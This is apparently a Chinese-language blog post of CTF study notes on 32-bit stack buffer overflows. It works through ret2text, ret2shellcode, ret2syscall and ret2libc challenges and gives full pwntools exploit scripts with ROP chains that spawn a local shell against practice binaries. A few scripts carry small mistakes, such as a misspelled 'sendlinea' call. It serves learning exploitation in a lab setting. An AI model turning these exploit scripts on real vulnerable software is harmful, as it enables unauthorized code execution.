pwn

栈溢出基础浅记(1)

Posted by Kody Black on September 29, 2023

关键注意事项:

  • 栈的结构是什么样的(rsp rbp 高->低)
  • 函数调用的方式(x64 x32 参数存哪儿 返回地址在哪儿 call ret leave干了什么)
  • 可能的gadget存在的方式和地址(直接shellcode,系统调用,libc)
  • 危险函数
    • 输入
      • gets,直接读取一行,忽略’\x00’
      • scanf
      • vscanf
    • 输出
      • sprintf
    • 字符串
      • strcpy,字符串复制,遇到’\x00’停止
      • strcat,字符串拼接,遇到’\x00’停止
      • bcopy

基本ROP题解和思路:

ret2text

gets函数存在栈溢出漏洞(本篇中所有题目都是该漏洞)

16960508178681696050817197.png

通过gdb,可以看到写入栈的位置为0xffffca5c,此时EBP位置为0xffffcac8,相隔0x6C字节

找到在函数secure中执行力system(‘/bin/sh’)

16960506868691696050686124.png

#!/usr/bin/env python
from pwn import *

# .text:0804863A system('/bin/sh')

sh = process('./ret2text')
system = 0x0804863A

# gdb.attach(sh)
payload = flat(['A'*0x6c,0xdeadbeef,system])
sh.sendlinea(payload)
sh.interactive()

ret2shellcode

首先checksec结果如下:

[*] '/home/kody/Desktop/pwn/temp/ret2shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

可以看到栈可是可执行的,而且还存在可写段。

#!/usr/bin/env python

from pwn import *

# 0x0804A080 buf2
sh = process('./ret2text')
file = ELF('./ret2text')
buf2 = 0x0804A080

shellcode = asm(shellcraft.sh())
payload = flat([shellcode.ljust(112, b'A'), buf2])

sh.sendline(payload)
sh.interactive()

由于ctf-wiki中题目ret2shellcode的问题),只能在Ubuntu16上进行测试,成功得到shell。

在高版本的linux中,可以使用类似于ret2libc3的方法得到shell

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher

sh = process('./ret2shellcode')
file = ELF('./ret2shellcode')
gdb.attach(sh)

main = file.symbols['main']
got_libc_start_main = file.got['__libc_start_main']
plt_puts = file.plt['puts']

payload = flat(['A'*0x6c,0xdeadbeef,plt_puts,main,got_libc_start_main])
# sh.sendlineafter('No system for you this time !!!\n',payload)
sh.sendline(payload) #因为后面使用了recvuntil,所以这里也可以直接用sendline
sh.recvuntil('bye bye ~')   # 跳过前面的输出
libc_start_main_addr = u32(sh.recv()[0:4])
print('get __start_main address in libc:',hex((libc_start_main_addr)))

libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload = flat(['A'*0x64,0xdeadbeef,system_addr,0xdeadbeef,binsh_addr])
sh.sendline(payload)
sh.interactive()

关于sendlineafter和sendline

sh.sendlineafter('No system for you this time !!!\n',payload)sh.sendline(payload)的区别就在于前者是输出了'No system for you this time !!!\n'之后再输入payload,而后者是直接输入。

那么回造成什么结果呢,对于输入其实是没有影响的。但是,当输出时,后者会先接收到输入pyload之前的输出,而前者接收到的是输入完成之后的输出。

关于recv和recvuntil

显而易见,recv是得到当前所有的输出,而recv当收到对应字符串后停止接收。

在本题中,由于输入payload后,程序首先会输出libc地址外其他的内容,所以需要注意先使用recvuntil跳过这些内容,再使用recv得到我们想要的东西。

关于payload的长度

exp中的payload的’A’的长度是rbp的地址减去注入点的地址,前面的是0x6c,后面的是0x64,相差了8个字节。

具体确定payload长度的方法是gdb.attach(sh),停到开始执行gets函数前的位置。

16960667958681696066795654.png

这里就可以看到,gets第一个参数地址(保存位置)为0xffffca8c,此时ebp位置为0xffffcaf0,0xf0-0x8c=0x64

那么,为什么两次payload的长度不一样呢?

主要是栈对齐的问题:wiki–ret2libc3

gpt对一般函数的前四条指令解释如下:

push ebp 这条命令将当前的ebp寄存器的值压入栈中。ebp寄存器通常被用作基址指针,用于指向当前栈帧的基址。通过将当前的ebp值保存在栈中,可以在函数中创建新的栈帧时恢复之前的栈帧。

mov ebp,esp 这条命令将当前的esp寄存器的值赋给ebp寄存器。通过这个操作,将当前栈帧的基址指针更新为当前栈顶的地址。这样做是为了在函数中访问函数参数和局部变量时可以方便地通过基址指针来进行定位。

and esp,0xfffffff0 这条命令使用与运算将esp寄存器的值与0xfffffff0进行按位与操作。这个操作的目的是将esp的值向下舍入到最接近的16的倍数。这样做是为了保证栈的对齐,因为很多处理器要求栈的地址必须是16的倍数。

add esp,0xffffff80 这条命令将esp寄存器的值增加0xffffff80,即将栈指针向下移动128个字节。这个操作的目的是为局部变量和临时数据预留一定的栈空间,以便在函数执行中使用。

总之,这四条命令的目的是为了初始化栈帧并为局部变量和临时数据分配空间。

ret2syscall

该文件开启了NX,因此不能直接使用shellcode。

$ ROPgadget --binary rop  --only 'int'    
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

$ ROPgadget --binary rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

但是,使用ROPgadget可以发现该文件存在int 0x80指令,另外还有字符串/bin/sh因此,可以利用系统调用execve('/bin/sh')进行漏洞利用。

通过查表可以知道execve的系统调用号位0x0b,第一个参数即位需要执行的文件名。再用ROPgadget找到可以pop eax,ebx,ecx,edx并ret的地址。

#!/usr/bin/env python

# 0x08049421 : int 0x80
# 0x080be408 : /bin/sh
# 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
# 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

from pwn import *

sh = process('./rop')

binsh_addr = 0x080be408
int80_addr = 0x08049421
pop4_addr = 0x0809ddda
pop3_addr = 0x0806eb90

# gdb.attach(sh)

payload = flat(['A'*0x6c, 0xdeadbeef, pop4_addr, 0xb, 0, 0, 0, pop3_addr, 0, 0, binsh_addr, int80_addr])

sh.sendline(payload)
sh.interactive()

ret2libc1

#!/usr/bin/env python

from pwn import *

# 08048460 system
# 08048720 : /bin/sh

sh = process('./ret2libc1')
# gdb.attach(sh)
system = 0x08048460
binsh = 0x08048720
payload = flat(['A'*0x6c,0xdeadbeef,system,0xdeadbeef,binsh])

sh.sendline(payload)
sh.interactive()

这里需要注意的地方就是,使用.plt里面的ystem函数,一开始不小心复制成.got中system函数的地址了,这样自然不行,因为.got是不可执行的。

ret2libc2

相比ret2libc1,该程序没有/bin/sh字符串,但是其bss段有变量buf可以写入,所以需要两个gadget,第一个把/bin/sh写入buf,第二个执行system函数。

#!/usr/bin/env python

from pwn import *
from LibcSearcher import LibcSearcher
# 0x08048490 system
# 0x0804A080 buf2
# 0x08048460 gets

sh = process('./ret2libc2')
file = ELF('./ret2libc2')

system = 0x08048490
buf2 = 0x0804A080
main = file.symbols['main']
gets = 0x08048460

# gdb.attach(sh)
payload = flat(['A'*0x6c,0xdeadbeef,gets,main,buf2])
sh.sendline(payload)
sh.sendline('/bin/sh\x00')
payload2 = flat(['A'*0x64,0xdeadbeef,system,0xdeadbeef,buf2])
sh.sendline(payload2)
sh.interactive()

上面的代码可以成功获得shell,但是相比于wiki提供的解法搞得有点复杂了,其实只需要跟着gets执行system会方便很多

from pwn import *

# 0x08048490 : system .plt
# 0x08048460 :gets .plt
# 0x0804A080 : buf2 .bss

##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')
system = p32(0x08048490)
gets = p32(0x08048460)
buf2 = p32(0x0804A080)

payload = b'a'*112 + gets + system + buf2 + buf2

sh.recvuntil('What do you think ?')
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

ret2libc3

system和/bin/sh都没有,于是从libc里面找。

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'

sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')

# gdb.attach(sh)

libc_start_main_got = ret2libc3.got['__libc_start_main']
main_addr = ret2libc3.symbols['main']
puts_plt = ret2libc3.plt['puts']

payload1 = flat(['A'*112,puts_plt, main_addr, libc_start_main_got])

sh.sendlineafter( payload1)

libc_start_main_addr = u32(sh.recv()[0:4])

# 在LibcSearcher中,函数地址为int类型,hex()的返回值为str类型
print("get __start_main address in libc: "+hex(libc_start_main_addr))
libc = LibcSearcher("__libc_start_main",libc_start_main_addr)

libc_base = libc_start_main_addr - libc.dump('__libc_start_main')

libc_binsh_addr = libc_base + libc.dump('str_bin_sh')
libc_system_addr = libc_base + libc.dump('system')

payload2 = flat(['A'*104,libc_system_addr,0xdeadbeef,libc_binsh_addr])

sh.sendlineafter('Can you find it !?', payload2)

sh.interactive()